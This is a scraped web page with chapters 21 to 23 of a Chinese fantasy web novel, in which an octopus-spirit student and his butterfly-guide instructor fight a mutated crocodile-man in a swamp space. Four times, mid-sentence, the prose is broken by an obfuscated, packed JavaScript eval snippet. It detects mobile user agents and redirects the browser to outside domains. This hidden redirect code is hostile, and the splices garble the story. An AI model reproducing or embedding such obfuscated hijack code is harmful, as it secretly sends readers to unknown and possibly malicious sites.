与一般的精神力不同,有毒生物释放攻击时常常暗度陈仓,一旦将自身毒素兑入精神力、触及到对手防护盾甲下的本身,看似这波攻击已经结束,附着其上的毒素却仍在沿着精神力继续蔓延,与门洞的自我修复达成对抵,使得这一出入口短时间内不会收缩和关闭。 杭知澍思及此,心更加沉。他猜测只有B-2级精神力的小八爪鱼是由于在短时间内接连释放了两次需要耗去大量毒素的第二技能,以至于最后破界时无法提供毒素支持。 客惜斓的状态一定相当不好! 这种沉重的心情在进入鳄鱼空间后越发增长。体感下周围空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418411|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气明显地变湿,地面和树根处长出了大量草本植物,树皮上蒙着密密麻麻的寄生者,树上垂下藤蔓,原本的森林已经丛林化。 他记得先前客惜斓汇报时提到过敌人技能效果中的地面沼泽化一项,谨慎地低头观察着地面泥土的质地变化,随着步入此空间的距离越深,地面踩踏的触感渐趋软烂粘稠,迈出的山地作战靴浅浅地陷进淤泥,往前,苔藓碎叶漂浮的泥浆更是咕噜噜起着气泡。 他没有试图多走几步适应,直觉告诉他这些正在改变质地的泥浆是某种蕴含了未知危险的东西,无形蝶翅唦唦开合,当即悬空几米,正打算提醒前面的陈教官上树,目光骤然一凝。 地面、树上、天空中,到处都没有陈教官的身影和精神力气息。 而他放在对方那里的蝴蝶分身透出微弱的联系,显示几秒前还距离不到两米的同事,此刻身在百米之外! 那几乎是这个特异空间的另一端! 这里处处危险,随时有可能碰上异化后的怪物本体或遗留的污染,无法大范围放出精神触梢探测。蝶巢持续运转,他仔细感应着留在客惜斓身边那只蝴蝶的方位坐标,发觉比起刚丢的教官同事,前者身处的位置竟距离自己更近,于是当即抬升高度,向丛林深处飞去。 - 客惜斓拿手指刮下了一滴护目镜上溅到的泥点子,眯眼端详几秒,嫌弃地噫出了声。 饶是他再能荡秋千,那高了一级的异化鳄鱼终究不是个吃素的。为了避开近距离接触被污染的可能,他在罩起精神力盾甲的前提下被爬上树的半人形鳄鱼逼入泥潭,刚刚经历了一次位置传送。 好在这里的机制是沾到泥潭即刻传送走,不要求全身吞没。 呆乎乎的第一小提又从衣领口探出半只,须须一抖一抖,一副很懵的样子。 他猜测这泥潭传送的能力可能就是先前鳄鱼并未使出的技能之一,如果敌人有意识时的目标是绑走高阶哨向学生,当时的鳄鱼和黑翅鸢等待的就是边越掉进泥潭后将他传送走的一刻。 他低头一吹,把小提赶回衣领夹层,抬手如鱼线辘辘放长,靠卷紧树枝的触腕把下沉的自己拽出泥潭,为防打滑,用裤脚鞋底湿淋淋的泥浆给老树皮做了回原生态泥膜。 他进了一趟,感觉这泥浆里并没有污染遗留,不会导致变种,于是放心地给幸运大树来点。 有可能是鳄鱼圈地之后自己都没有畅游过这片泥巴水,但是不能保证下一次传送到的地方也不存在污染。毕竟他自己都玩过借水体环境导毒的把戏,万一鳄鱼吃一堑长一智,学会并刻进本能了呢? 这回营养剂是真的吃完了。他把双肩包反背到身前,就地取材,往里头一个个塞树上结的青绿发涩果实,不足儿童手掌心大的果子,塞了有小半包,掂一掂,确认重量不影响丛林荡秋千,又往口袋里塞了几枚小的。 野外求生。他叹口气。现在才是真的野外求生。 21. 第 21 章 必须小心,不能再掉入泥潭。 那怪物浑身是鳄鱼的形态,两手异化为粗短连蹼前肢,只有两条后腿还是局部覆盖着坚硬鳞甲的人腿,脚板也类似人足与鳄爪的结合,覆疙瘩般的粗陋鳞片、趾间长有蹼膜。能竖着如人类般行走,也能四腿伏地爬动。 他也和这鳄鱼人周旋了几回,发觉泥潭传送的位置落点并不是完全掌控在鳄鱼人手中的,有时他荡到某处时,鳄鱼人需要通过泥潭转移数次或纯粹依靠自身爬行游泳来追捕他,有时却能一次性精准同步到他刚荡到的新地点。 他刚刚被迫接触泥潭,就是在连续荡离数次后,吸盘还没贴热乎,就直接被传送到此的鳄鱼口臭熏下了树。 是精神体异化后对自身技能的控制精准度降低了? 还是另有一个意识存在于它这副躯壳中,时不时干扰着它的行为? 他又想到了什么,护目镜下眉头微凝,眼眸渐渐放沉。 弥散在空中的几缕精神触梢被触动,他当即小手一抛,掠向对面大树。这次他没有选择力所能及、距离更远的一棵,充分吸收了鳄鱼人控制精度高时会趁他荡到最低点从下方泥潭中窜出巨口腥牙的经验。先走一步的身后霍然张开了巨口,成排利齿滴着涎水与泥浆,险些与他直接挨上,迷彩服被鳄吻敞放的腥风一鼓,冷冰冰地紧贴在背脊上。 令人厌恶的味道,很腥,阴冷,难以形容。 他左右手不停换抛,不时伸出肋间副足平衡身体,避免落水。鳄鱼人这回状态很好,一连几次都能通过长长的尾部一蘸泥潭迅速换位,他的精神力盾甲被带蹼鳞爪和鳄吻利齿滋滋划过,发出激烈的刮擦响。 营养剂已经起了效,精神力快要回抵到所需量,但他此刻连吹泡泡的读条时间都没有! 他逮住一个短暂空隙,回头,呲出一束细细水柱般的毒液,被鳄鱼人表面扩开的坚硬盾甲嘶嘶融化,盾甲被腐蚀掉一个小孔,又迅速修复。 果然没用。他心道,边继续换位躲闪。 这样不行,规避污染的情况下只能用非接触性攻击,以他现在B级的精神力还做不到瞬发梦幻浮沤。 鳄鱼人总是尾巴一蘸泥潭面就瞬移,导致他虽然没有释放技能,刚攒起的精神力也随着盾甲的维持和不断修补加固一点一点消耗,注意力更是全程紧绷。距离上一次鳄口逃生已经是四十秒前,他仍然不停换树,每棵树几乎没有停留,生怕它突然瞬移到此。 保持荡秋千状态又接近一分钟后,他猜想莫非这玩意的控制力终于到钟了,现在是断网爬行状态?他绷严的身体肌肉慢慢放松,惯性往前挂的腕足化手臂正在收回,刚打算往树上贴个吸盘休息一下—— 头顶阴影倾盆,浊绿树冠、粗褐树皮间骤然张开一张血盆大口! 拟态! XX的丛林动物! 他紧急往后下腰,肋间喷出副足撑住树干,两臂后甩悬挂到身后一棵大树树杈,预备两脚蹬力脱身,那鳄鱼人却蹼爪极速爬动,沿树干而下,顶着的巨大鳄口向他紧逼而来,脑后不到半米是滚滚污浊泥潭,身前敞开腥臭锋利的鳄口! 那饱含污染物质的涎水已经滴到他眼前十几厘米处的外附盾甲上,把荧光蓝的精神力盾壳烧得嘶嘶作响,哨兵漆黑眼眸忽然睁大,眼中繁密淡绿光点闪起,鳄鱼从中钻出、半个颀长身体还淹陷在其中未脱出的树冠上,树叶在一瞬间片片化蝶,绿荧荧地一拥而上,扑闪着覆盖住鳄鱼人体表,又还原回植物,开始以鳄鱼人的血肉皮肤为土壤,扎根、抽芽、快速生长! 几乎眨眼之间,那鳄鱼人已经看不出原本形貌,变为一条茸绿茂密的树桩! 像人类撤离后草木生长、城市里被植物侵蚀覆盖的公园长椅或雕像。 他下意识接着刚才未完成的动作蹬脚,被甩出去的腕足化手臂带着向后飞,转头时蓦然撞进一个气息熟悉的怀抱。 “教——” 向导身后葡萄绿的蝶翅一闪,隐入空气,身姿修长,悬浮在空中,因怀中的重量微微倾斜,一手按着他的背,以自己为落点支撑着他,一手抚上头顶、揉着他头发。 “惜惜。” 杭知澍这样叫他。 与此同时,杭知澍周身散发出的纤细精神触梢缠绕在他身上,捆束般勒进身体,融化为清亮剔透的精神力。 他一厘米一厘米爬的精神力进度条,在这一瞬间回满! 客惜斓怔怔地抬起脸,脸颊被教官胸口的防弹衣压出红印,刚想开口,倏然间感知一动,重新挂上树杈的触腕化右臂立刻簌簌缩短,左臂反揽住杭知澍腰际,袖管下吸盘附紧,在空中带着教官转了个大圈,躲开挣脱禁锢的巨鳄摆尾! 鳄鱼人的精神力从鳞片下喷出,震开大半暗绿藤壶状的密密麻麻叶片植物,披挂褴褛的树叶根须外衣,沿树干嘶吼着爬动。 客惜斓后背一小块紧吸着树枝,警惕地往原来树上的方向瞟,观察鳄鱼人的动态,耳边落下杭知澍一声轻咳。 蝶翅消散,教官被他揽腰抱在怀里,长腿略显局促地折起。树荫里叶片因震动掉落在他们身上,杭知澍提醒道:“惜惜,吸盘可以放开了。” 他指的是自己腰上,这样他没法大动作也不好打开翅膀。 并且有点痒。 小八爪鱼雪白的脸颊呼哧一下粉红,眼圆圆地拔开了手臂上吸盘,在这片安静无风的树荫中,响起了一连串清脆清晰的“啵啵”声。 “……” 八爪鱼短暂地宕机了。 杭知澍心想,真的好像……那种浴室里经常用的真空挂钩。 应该就是模仿八爪鱼这种生物开发的吧? 不知道是不是一次性喷发精神力挣脱开植物覆被的消耗较大,鳄鱼人竟然绕着树干爬动了一圈,转换为以头部朝下、朝向泥潭的姿势,一步步爬进泥潭,沉入了浓密的泥浆中。 泥潭表面咕噜噜地起泡,气泡渐渐消失,仿佛巨鳄已沉入深水。二人盯了将近两分钟,仍没有任何动静。 已经瞬移走了? 林中阴郁混浊的压迫感仿佛也散开了些,客惜斓保持感官警觉,边汇报方才丛林大逃亡中收获的敌人信息,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418412|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一经接触泥潭表面就能使人换位,杭知澍才明白先前先走两步的陈教官因何突然消失。 鳄鱼人保留着沼泽猎手的狡猾天性,会在整块未转化的地面中掺杂一些小泥水坑。那些泥水坑就如水井大的沼泽,表面有时覆盖着植物,肉眼看与正常地面几无不同。 客惜斓时时注意着四周泥潭、树干树冠。 他把鳄鱼人有时能控制泥潭换位、有时不能的异常表现告诉了杭知澍,顿了顿,用犹疑而忐忑的语气主动提出道:“教官。” “我在……图书馆整理书的时候看到过,完全失控异化个体会无差别无意识地袭击其他生物,它们渴求精神力,会摄取猎物的精神力。” “书上说,它们会进食别人的精神体……这是真的吗?” 杭知澍听懂了他的猜测:“是真的。除了携带会造成神游症的污染之外,这是另一个异化哨向必须被尽快击杀的原因。” 精神体被吞噬,相当于一个人的意识和思维被吞噬,即使身体侥幸没有死亡,也只是一具空壳了。 “你怀疑他失控异化之后,首先吞噬了那个黑翅鸢的精神体?” 客惜斓点头:“但它短时间内消化不了那只鸟,还会时不时被鸟的梦魇特质干扰,陷入像之前黑豹一样的对抗状态。” 杭知澍短暂思考后道:“这恐怕只是前期,异化个体本来就是疯狂无理智的,一旦黑翅鸢的精神力被它逐渐兼容,它可能还会外放呈现出对应的能力,更不好应对。” 但无论是杭知澍刚才展现出的技能,还是客惜斓自己的吹一群毒泡泡,在鳄鱼人潜入泥潭后都很难造成可观伤害。 先前沼泽化的水域本身没有这么大和深,又有攻击黑翅鸢作为打断树枝的掩护,现在要把毒液泡泡倾倒进偌大泥潭里,万一敌人摆摆尾巴转移到百米之外了呢? 这不白白浪费精神力嘛! 有向导了也不兴这么挥霍。 杭知澍十分惋惜道:“这时候要是你们陈教官在就好办了,老陈有一个毒液光球最适合搞爆破,用来当鱼雷炸鱼方便得很。陈教官特地来找你,可惜在门口踩中泥水坑走散了。” 客惜斓一听有鱼雷,眼睛一亮;一听走散,眼又一黯。 二人齐声一叹。 客惜斓为了反应及时,没有选择坐在树枝上,而是保持站姿踏着树杈,同时用背部衣物下的几枚吸盘牢牢吸附着树身,以此固定身形,也能减轻树杈的负重压力。杭知澍则隐去蝶翅,在树荫里轻盈悬浮着。 八爪鱼的两个技能饲养员都知道;这会儿看似短暂风平浪静了,客惜斓终于有暇作必要了解,争分夺秒地趁机问道:“教官……教官都有什么技能啊?” 前世他就没有见过“蝶巢”,也或许是他当时并不知道这是个精神体技能、也没看懂具体操作——难怪杭知澍能在组织围困之下带领学生等到军方救援,恐怕还是他当时眼皮子太浅。 不愧是他的饲养员,好厉害好特别。 另一个植物化蝶又还原的技能则是他见过的,但还不知道它叫什么。 22. 第 22 章 杭知澍心知他在好奇什么,顾及野外环境莫测、瞬息万变,声音压低,语速稍提,如身在课堂般地讲解起自身精神体技能。 “我的第一技能就是你刚刚看到的那个。就地取材,批量选中植物转化为蝶群,这些蝴蝶会在入侵对方身体后还原回原本的植物形态,并立刻扎根进皮肉、血管、神经等人体组织,如果对方级别低于我,在不特意控制的前提下,植物可以直接以血肉为巢将其内里吃空;如果是平级或者级别高于我,能达成禁锢,限制对方的行动,对方精神力越强,挣脱的用时越短。” “这个技能的原理有点像真菌寄生在幼虫体内后爆发,所以我给它起名叫‘虫草’。” 客惜斓听得认认真真、津津有味,一开始还觉得教官的用词略有办公味,直到最后这句一出来,眼睛不禁圆睁,重复了声:“虫草?” 杭知澍以为他不知道虫草是什么,遂又点头解释道:“对,就是那个卖得蛮贵的药材虫草,真菌吃空一种飞蛾幼虫,在它们身上发芽,一会儿虫子一会儿草。挺形象的吧?”[注1] 客惜斓两眼放空。 是很形象……这问题不是形不形象,这名字随意之中带着一丝猎奇是怎么回事啊! 而且你自己的精神体不会有代入感吗! 他嘴巴张张合合,最终道:“……好简洁的命名。” 杭知澍“嗯”了一声:“原本是想过叫‘春生夏长’之类的,听上去文雅一点……好像最近的小孩也都比较流行起四个字的技能名?后来想想这个名起了基本上也只有自己知道、自己在用,有需要登记报备写的也是具体技能内容不是自定义名字,也不会像动画片里那样边用边喊出来……自己用的那随便一点也没关系了。” 八爪鱼黑眸凝固、呆滞:“……是哦。” 像动画片里那样…… 边用边喊出来…… 他猛然停止放空,紧急在记忆存档中检索自己有没有过边用技能边喊出声的行为。 会给饲养员留下浮夸的印象! ——应该没有!这种幼稚的事情我也没有干过哼哼。客惜斓暗舒口气,镇定地稳了稳眼神,顺势把疑惑托出:“但是看起来虫……虫草比蝶巢更具有杀伤力,竟然是第一技能。” 杭知澍道:“我是以B级觉醒,自带两个技能,哪个在先一开始其实没在意过。后来进学校之后才开始思考这个问题。” “我想大概是因为虫草没有蝶巢耗费精神力。蝶巢相当于百分之百都是我出力,但虫草由那些实际存在的植物、它们自身的能量承担了一半,我只是负责用精神力催化和欺骗它们,让它们的生长繁殖欲大幅度增强,让它们以为敌人的身体血肉是一块营养极其丰富的土壤。” “这是原本属于自然界的生命力,被我借来一用。”杭知澍的语调习惯性带上了浓厚的教学色彩,十分顺口地总结道。 已经从领口钻出来听讲的第一小提啪嗒啪嗒翅膀,像在鼓掌。 八爪鱼恍然地点头:“原来如此。” 杭知澍目光一瞥,看着从客惜斓领口爬出来的蝴蝶分身,食指一屈,两下把它拨弄着从客惜斓的领口顶起,移到自己面前,像摆弄教学道具般,接着开口往下: “第二技能是‘蝶巢’,之前跟你简单介绍过的,除了最常用的侦查和通讯功能以外,在我本体精神触梢感知范围的一百二十米内可以通过这些分身来定位蝴蝶携带者,但在有屏蔽力量的干扰下定位准确度会削弱,比如在这里。以及——” 他忽然眼神平静地捏住了分身蝴蝶的翅膀:“工兵蝴蝶其实可以作为精神力储备,如果它已经通过我的准许标记认定了你,你可以在精神力匮乏的时候捏碎它作一点补给,虽然只有一点。” 他叹了口气,自行稀释掉方才话语中流出的隐晦情绪:“这么一丁点补给,一般来说是抵不上联络通讯的用途的,只有精神力实在短缺时才会这样用……” 他把一动不动的第一小提放开,还给惊讶伸出双手的客惜斓,蝴蝶呆滞几秒,在快要落到客惜斓掌心前重拾生机,又活泼地扇翅打转起来。 杭知澍忽然抬手,沿发丝生长方向顺一顺他的头发,黑而软,动作缓慢而微微带着力,与往常揉乱小动物绒毛般随性的手法不同,引得客惜斓懵懂抬头。 “……以后如果精神力实在缺乏,营养剂不够或者来不及起效的情况下,先用蝴蝶垫一垫也是可以的。” 在找到客惜斓前他的心一路都悬吊着,懊恼先前没有把蝴蝶分身的这一功能一并告诉他,万一小八爪鱼真就缺这点精神力呢? 比起联络当然是保命更重要,何况身在封闭空间中蝴蝶的信号被屏蔽,已经暂时提供不了有效联络。 这孩子本身的安全重要得多。 杭知澍垂眸,收敛起异常神色,三言两语概括道:“至于我的第三技能,在目前这个场景下并不合用。” “它……有点伤敌一千自损一千二的感觉?我也不知道什么时候会用到它,可能……” “是出现了什么重大事态,而我不得不扛起责任的时候。” 他知道客惜斓最想了解的是A级向导尚未展示出的第三技能,但这并不是个适合讲给小孩听的话题。这样性质的技能带给他本身的困惑和期待落差是他至今也没有消化完全的,第三技能是A级哨向最大的倚仗,哪怕是个朴实无华的回血回蓝也比他这个普遍适用,而大多数时间里他是个实用主义者。 敏锐察觉到杭知澍几次情绪变化,客惜斓从最开始小提被擒住的紧张、被教官摸脑袋叮嘱的柔软茫然,到这时听说他的第三技能会对自身造成伤害的惊异不安。 恐惧。 直觉告诉他,尽管是这样轻描淡写的表述,这个技能使用的结果,对于杭知澍本人一定不仅仅是类似于“受点小伤”这么简单,那后半句话明显分量不轻。 他于是强烈地害怕起来,开始后悔自己问起了这个话题。 ——我重生的唯一意义就是找到你,跟着你,留在你身边。 他低头,黑手套虚拢着那只潦草的蝴蝶,身在幽暗丛林、捉到的一团泼泼闪闪的淡绿荧光,把有些空洞阴晦的目光投向了下方的泥潭水面,弥散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418413|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着那些漂浮而铺开的细碎黯淡植物,讷讷地、任性地要求道: “那教官……” “可以不要用这个技能吗?” 永远都。 在客惜斓正式开学并拥有了B级实力后,身为向导教官,为了一视同仁,杭知澍已经有意降低给他随手上精神安抚的次数,此刻却感觉到从前那个住快递纸箱的萎靡小八爪鱼又一次出现在眼前。 那像是城市雨水淋湿一只快递纸箱后长出的羸弱滴水盆景。 杭知澍沉默片刻,并没有直接回答他,精神触梢清亮柔韧,一丝丝拂过小孩头顶,就着精神安抚低声问他: “为什么提出自己殿后?当时在场的同学等级都比你高。” 客惜斓犹豫了一下,挑了客观部分老老实实回答道:“先前第一次遭遇的时候它吃过我的毒素攻击,对我的毒素和气味有记忆,当时大家剩余的精神力只够合力输出那一次,如果我先通过障壁,很可能会激怒它,到时候所有人都出不去。” 这是事实,虽然不是他主要的动机。 他在犹豫的那一下里考虑过是否要将行为渲染为舍己为人、爱护同学,但直觉这种答案并不会帮助他博得教官欢心。 他小心地、隐隐地观察着杭知澍的表情,又适度补充一句:“……那样就没有机会出去找教官来救援了。” 杭知澍的表情一贯控制得很平静、从容、温和,但黏他黏久了,客惜斓也能通过空气中淡淡的精神力分辨饲养员情绪的细小波澜——当然,教官真正不想流露的时候,他是观察不出来的。 他也不明白那些情绪的成因。他只是个擅长打架的脱模蓝圈豹纹果冻,最多能嗅出饲养员心情不是很佳。 杭知澍闻言,很轻飘地“嗯”了一声,未置可否,让他不知道这个说法被接受了没有。 “惜惜,”杭知澍说,“我很担心你。” 他捡回来的这个小孩看起来和寻常十几岁小孩无异,只是外貌上相较同龄人瘦小些,偶尔却会给人一种思考方式过于机械和模式化的感觉。 不知为何,他总是有这样的闪念:这小孩似乎并不太在意自身。 他很游离。 如果说过往流浪时平静地接受路人的欺凌是出于长久以来身为弱势群体的麻木,在可选择的情况下仍然直接放弃逃生机会…… 他很周全,很谨慎,但一般人不会为了“有可能”,就主动放弃、主动在自身严重缺乏抵抗能力的情况下独自一人留在险境吧? 会不会太冷静、太有思想觉悟了?还是在他的思维方式里,自己和一个果盘上的苹果本质上没有多大差异,只要需要,就能随时调动摆放? 但这似乎又可以用他此前长期的颠沛流离生活解释通顺。 他想借此机会点明,告诉他,让他建立起这方面的认知。 “……这个做法从策略角度没有问题,但对你自身而言风险实在过大。下次遇到这种情况,也要考虑进自己的安全。” 他换了更加明确的说法,对客惜斓重申了一遍:“你自己的安全,也很重要。” 23. 第 23 章 客惜斓是一只极其擅苟之八爪鱼。 这从他熬没了一批又一批组织底层成员、一个又一个临时向导搭档的过硬简历中可见一斑。 他对同学是一种朴素的桃李……呃,爱屋及乌之情。 在八爪鱼的脑回路里,至今仍时不时闪回上辈子杭教官顶着组织包围护犊子的英姿,因此他很根深蒂固地认为,首要之重是保护好教官的学生。 十七岁的身体里装着二十二岁的意识,属于那个反派杀手新月的意识经常会让他遗忘一件事:他现在也是杭教官的学生。 他仰脸看着杭知澍,眼睛缓缓睁大:果然…… 他超在意学生的! 我的抱大腿路线非常正确! 杭知澍看着两手攥拳抵着脸颊、激动得眼睛迸出亮晶晶星星的小八爪鱼,陷入沉思:他应该有听懂我的意思吧? 时刻分心注意着周围环境的杭教官又轻轻咳一声,打断了他突如其来的沉浸:“……差不多也休整完毕了,我们现在抓紧时间,去找陈教官汇合。” 客惜斓满脸花痴丝滑地一收,用力一点头:“嗯嗯!” 然后一面把手伸进衣兜,一面道:“教官稍等。” 杭知澍看在眼里,心道:这小孩…… 果然还是缺爱吧! 接着就看见客惜斓从兜里掏出了一个青绿的野果,表皮粗涩,不知其名。 杭知澍怔住了。 杭知澍眼睛缓缓睁大。 “惜惜……” 客惜斓转头,天真而疑惑地看向他。 杭知澍几乎眼前一黑,感觉自己受到了极大的冲击。 ——他一斤鱼一斤虾喂养的小八爪鱼,自己省下买花买蜜的钱都拿来喂他的小八爪鱼,居然可怜到在野外啃没熟的青果子了! 家养哨兵的脆弱感官怎么能吃这种真野生动物都不一定吃的东西啊!他们哨向军校上野外求生课程都只是找个野外环境生啃营养剂而已! 哨兵除了出战能离开全封闭式管理所活动也就是这几十年的事情! 哨兵就是很容易坏坏了还很不好修的品种啊! 杭知澍已经在脑子里过流程过到预约校医疗研究所哪个医生的体检,一句“这东西你之前已经吃下去了多少个”悬到嘴边,就要冲口而出,看见小八爪鱼瞅他不答,已经又转过头,抬手,向着远处一块长着低矮草本植物的地面使力一抛。 “……” 野果子发出噗嗵一声,短暂没进了泥浆,又因分量过轻被伪装成土壤的泥水坑吐出,污痕斑斑地漂浮在泥浆面上。 “啊是陷阱,那边也要绕开……教官?” 杭知澍稳定了心神,冷静神情迅速凝回脸上,一张口语气如常:“嗯,没事,想起来走之前办公室有盆花没浇。” “啊……”客惜斓爱屋及乌,想着一向情绪稳定的杭知澍方才震惊无言的样子,眼睛里闪动着恳切的担忧,“那,希望它坚强,我们尽快出去救它吧!” ——教官是蝴蝶,花对蝴蝶来说肯定也非常重要! “……”杭知澍应道,“好。” 还不忘表扬了小八爪鱼一句:“这个做法很聪明。” 鳄鱼人能通过泥潭瞬移换位,因此泥水坑虽然相较于整片的泥潭体积小,也不得不一并提防。 和先前单独被困时一样,客惜斓靠投掷野果探路,确定行动路径,根据杭知澍分身蝴蝶传来的时断时续信号接近同样处在移动中的陈教官。在封闭空间的屏蔽下,分身蝴蝶无法接收到蝶巢传来的讯息,但蝶巢还能单向感知到它们的所在。 奇异的是一路上并没有遭遇鳄鱼人的突袭,现在封闭空间内至少有三人,鳄鱼人要么正在和陈教官对峙,要么还躲在某处消化它吞噬的黑翅鸢精神体。 ——绝不能等到它消化了那种模仿和梦魇的能力后主动找上门。 客惜斓须腕飘曳,掠行,在丛林间荡过一棵棵大树,如在姹紫嫣红、珊瑚团簇的海底蹚沙。杭知澍一边注意着环境,一边嗦起向导用营养剂,一边忍不住不时拨冗欣赏一眼游戏动画般极富律动感的八爪鱼跑酷,没提防嘴里吃到一股鱼虾味,才发现自己习惯性把吃的东西装成了海鲜口味,于是蝴蝶翅膀一扇,朝下方的客惜斓道:“回去之后想吃什么?” 营养剂能救命但口感微妙,他也是从学生一路念上来的,自然知道风评也玩过营养剂梗,还知道这堆令人费解的口味其实全是某个研发老师的个人兴趣。 小八爪鱼难回蓝,一路啃进了翻倍的营养剂,他换位思考了一下,着实可怜,想着犒劳他这一趟下来受委屈的味蕾,给他吃点鲜的补补。 客惜斓“唔”了一声,在拂面风里浅浅思考未果:“都行,不是营养剂就行!” 他好养活得很,海鲜类几乎不挑剔——自然界的章鱼甚至生啃自己同类也没心理负担,脑回路一个打结还可能把自己手放嘴里嚼——于是其实饲养八爪鱼的配餐都是杭知澍自己在拿主意,时而回忆家常做法,时而引入网红菜谱,尽可能变着花样种类。 这就是养宠物的乐趣啊。 杭知澍看着满地泥泞上盖着浓绿发暗的苔藓藻荇,仿佛汤上盖着水灵灵的绿菜,一下有了想法,遂跟客惜斓预告道:“那就皮皮虾,回去给你做顿皮皮虾。” “皮皮虾……”客惜斓闻言,集中精力探路的脑袋里冒出了一个遐想飘飘的泡泡,不由憧憬道,“好欸……” 在思念优选饲料的八爪鱼面前吊了只皮皮虾,客惜斓顿时充满了干劲,章鱼触手噼啪甩。 为了皮皮虾! 杭知澍蝶翅一振,满意地提速跟上。 客惜斓加速前进,八爪齐开,各自分工,一条触手负责从口袋兜里掏出野果投掷,一条触手从拉链拧开的双肩包里卷出库存果子填装进衣兜、以便发射,原本的四肢轮流替换,不停顿地重复着往前卷绕树杈、荡起、再往前卷绕新的树杈的过程,剩下两条触手机动,在为规避陷阱而方向急转时舒张开来平衡身体。 他飞驰在树林中,像朵黏滑柔软、飘飘荡荡的大百合花。一颗野果投进泥浆表面,噗嗵溅起泥水,客惜斓腕足飘举地调转三十度,避开那个绿草掩映下水井大小的泥水坑,一条触手松开后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418414|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树、一条触手带着全身往前飞,正在树与树之间进行长达十几米的空中飞越,那绕开的泥水坑表面泥浆骤然间巧克力喷泉般向下流泻,涌出了一幢宽大尖长、竖满利齿的鳄嘴! 鳄吻顶开水坑面上一片茵茵绿草,布满灰硬疙瘩的上颚表面挂着连根拔起的植物茎络根须,一大股腥冷汹涌气味先喷到荧光蓝的精神力盾甲上,那斜出的大敞鳄口竟打算就着盾甲直接拦腰咬断他! ——众所周知鳄鱼的杀手锏死亡翻滚,猎物一经咬中再难挣脱,其疯狂状态下巨大的咬合力或许真能硬生生咬碎盾甲! 淡绿荧光繁星般闪起,在鳄鱼的上颚、它即将更大幅度脱出泥浆水面的下半身,茵茵绿草飞速在血肉里扎根,清晰可见地钻通坚硬的上颚皮肤,绿茸茸地长在了颜色灰败的淡肉红色口腔里,密密麻麻,往洞深的咽喉汹涌而去,迫使鳄鱼人不得不停止攻击动作先调动精神力强行震开植物,避免因喉头堵塞而窒息。 八爪鱼紧急转向,吸住高处树枝颠倒上行,倒悬着黏在树枝上,虚幻的蓝环章鱼巨像在身后翻浮的泡沫中凝结,开始积蓄他的第二技能,预备释放。杭知澍周身荧光同样淡淡浮现,加固了自己的精神力盾甲,悬停在距离客惜斓有一段距离的空中,避免受毒液泡沫波及。 那鳄鱼人再次喷出大量精神力,震开由杭知澍第一技能形成的浓密植物覆被,隆隆几声急促重喘后,突然硬棱长尾飙起,暴甩,携带方才随精神力一并泄入泥水中的浓郁污染物质向上方凶狠抡去! 它挣脱得比上次更快!客惜斓措手不及,慌忙在面前二十厘米处蒸凝出一面半球形厚实盾壳,第二技能被迫中断,背后蓝环章鱼虚像作泡沫散,人在球盾后八爪团缩,沿着树枝迅速滚到了大树后侧。 那鳄鱼抡尾一击落空,竟未做停歇喘气,就着抡出的圆形走势窜入身下水面,瞬移换位,从大树后侧正下方的泥浆表面倏然跃出! 客惜斓背后浓密的树荫涌出淡绿清亮蝶群,向树下尚未张开的鳄吻扑去。 ——鳄鱼人“哗啦”地缩回了泥潭下,激起大片深褐色水花。 树叶变的荧光蝶群追踪着下潜的目标,径直扑向泥潭水面,纷纷消融。 ——它在骗技能! 杭知澍一愣,暗道不好,虫草虽然较蝶巢消耗精神力更少,但已经连着用了两次,他需要补充向导营养剂才能再放。客惜斓说过鳄鱼人吃过精神力攻击就会记住对应的气息—— 丛林枝叶繁密,极易形成遮挡,影响能见度,他为了方便照应客惜斓、能够适时从旁提供辅助,已经降低了原本的悬空高度。 深褐色水波哗啦涌起,杭知澍扇翅上浮,却见鳄鱼人粗粝灰色鳞甲下涌出黑白夹杂的鸟羽,两条局部覆鳞的人腿露出,竟然脱离水面也升到了空中! 它已经消化了一部分黑翅鸢精神体,获得了鸟类腾空的能力! 